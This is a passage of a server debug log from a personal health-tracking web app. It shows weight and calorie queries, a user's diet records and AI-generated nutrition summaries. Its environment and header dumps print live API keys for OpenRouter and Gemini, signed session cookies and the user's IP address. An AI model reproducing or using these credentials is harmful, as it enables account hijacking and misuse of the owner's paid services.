    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T06:58:15.523Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T06:58:15.524Z server-connect:app Executing action step identify
2025-12-24T06:58:15.524Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:15.524Z server-connect:output identity: 1
2025-12-24T06:58:15.524Z server-connect:app Executing action step restrict
2025-12-24T06:58:15.524Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:15.525Z server-connect:output restrict: undefined
2025-12-24T06:58:15.525Z server-connect:app Executing action step custom
2025-12-24T06:58:15.525Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T06:58:15.527Z server-connect:output list: [
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T06:58:15.942Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T06:58:15.942Z server-connect:app Executing action step identify
2025-12-24T06:58:15.942Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:15.942Z server-connect:output identity: 1
2025-12-24T06:58:15.942Z server-connect:app Executing action step restrict
2025-12-24T06:58:15.942Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T06:58:15.943Z server-connect:output restrict: undefined
2025-12-24T06:58:15.943Z server-connect:router Render template calorie-tracker
2025-12-24T06:58:15.943Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T06:58:16.162Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T06:58:16.163Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T06:58:16.163Z server-connect:app Executing action step identify
2025-12-24T06:58:16.163Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:16.163Z server-connect:output identity: 1
2025-12-24T06:58:16.163Z server-connect:app Executing action step restrict
2025-12-24T06:58:16.163Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:16.163Z server-connect:app Executing action step identify
2025-12-24T06:58:16.164Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:16.164Z server-connect:output identity: 1
2025-12-24T06:58:16.164Z server-connect:app Executing action step restrict
2025-12-24T06:58:16.164Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:16.164Z server-connect:output restrict: undefined
2025-12-24T06:58:16.164Z server-connect:app Executing action step single
2025-12-24T06:58:16.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T06:58:16.164Z server-connect:output restrict: undefined
2025-12-24T06:58:16.164Z server-connect:app Executing action step single
2025-12-24T06:58:16.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T06:58:16.166Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition shows a good start with protein intake, particularly from the whey supplement, which supports muscle development. The inclusion of guava is beneficial for micronutrients. However, the overall meal composition appears limited, potentially impacting sustained energy and recovery. Consistency in varied food choices will be key for optimal progress.",
    bad_points: [
      'Limited variety in food consumed, potentially lacking in essential nutrients and fiber.',
      'Meal composition seems to be heavily skewed towards carbohydrates and protein, with less emphasis on healthy fats and diverse vegetables.',
      'No clear indication of post-workout nutrition or other meals throughout the day.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of fruit (guava) for micronutrients.',
      'Pre-workout supplement used to prepare for the gym session.'
    ],
    suggestions: [
      'Incorporate a balanced meal post-workout to aid recovery and muscle repair.',
      'Add a source of healthy fats, such as nuts or seeds, to meals.',
      'Include a wider variety of vegetables and whole grains for increased fiber and micronutrient intake.',
      'Ensure consistent hydration throughout the day.'
    ],
    predicted_weight: 69.5,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T06:58:16.167Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T06:58:16.167Z server-connect:app Executing action step select
2025-12-24T06:58:16.167Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T06:58:16.169Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  }
]
2025-12-24T06:58:16.169Z server-connect:app Executing action step setvalue
2025-12-24T06:58:16.169Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T06:58:16.169Z server-connect:output var_total: 360
2025-12-24T06:58:16.169Z server-connect:app Executing action step setvalue
2025-12-24T06:58:16.169Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T06:58:16.169Z server-connect:output var_consumed: 15
2025-12-24T06:58:16.169Z server-connect:app Executing action step setvalue
2025-12-24T06:58:16.169Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T06:58:16.169Z server-connect:output var_deficit: 2040
2025-12-24T06:58:16.169Z server-connect:app Executing action step custom
2025-12-24T06:58:16.169Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T06:58:16.171Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '360',
    surplus_or_deficit: '2040',
    status_flag: 2
  }
]
2025-12-24T06:58:16.763Z server-connect:app Executing action step identify
2025-12-24T06:58:16.763Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:16.763Z server-connect:output identity: 1
2025-12-24T06:58:21.224Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T06:58:21.225Z server-connect:app Executing action step identify
2025-12-24T06:58:21.225Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:21.225Z server-connect:output identity: 1
2025-12-24T06:58:21.225Z server-connect:app Executing action step restrict
2025-12-24T06:58:21.225Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:21.225Z server-connect:output restrict: undefined
2025-12-24T06:58:21.225Z server-connect:app Executing action step processWithGemini
2025-12-24T06:58:21.225Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T06:58:22.396Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Green Tea',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 2,
      total_calories: 2,
      protein: 0.48,
      carbs: 0,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
    }
  ],
  total_macros: { protein: 0.48, carbs: 0, fat: 0, unit: 'grams' }
}
2025-12-24T06:58:24.950Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-24T06:58:24.951Z server-connect:app Executing action step identify
2025-12-24T06:58:24.951Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:24.951Z server-connect:output identity: 1
2025-12-24T06:58:24.951Z server-connect:app Executing action step restrict
2025-12-24T06:58:24.951Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T06:58:24.951Z server-connect:output restrict: undefined
2025-12-24T06:58:24.951Z server-connect:app Executing action step condition
2025-12-24T06:58:24.951Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-24T06:58:24.952Z server-connect:app Executing action step repeat
2025-12-24T06:58:24.952Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-24T06:58:24.952Z server-connect:app Executing action step insert
2025-12-24T06:58:24.952Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T06:58:24.953Z server-connect:output calories: { affected: 1, identity: 504 }
2025-12-24T06:58:24.953Z server-connect:output repeat: [ {} ]
2025-12-24T06:58:24.953Z server-connect:output condition: undefined
2025-12-24T06:58:25.145Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T06:58:25.146Z server-connect:app Executing action step identify
2025-12-24T06:58:25.146Z server-connect:app options: { provider: 'security' }
2025-12-24T06:58:25.147Z server-connect:output identity: 1
2025-12-24T06:58:25.147Z server-connect:app Executing action step restrict
2025-12-24T06:58:25.147Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T06:58:25.147Z server-connect:output restrict: undefined
2025-12-24T06:58:25.147Z server-connect:router Render template layouts/main
2025-12-24T06:58:25.147Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
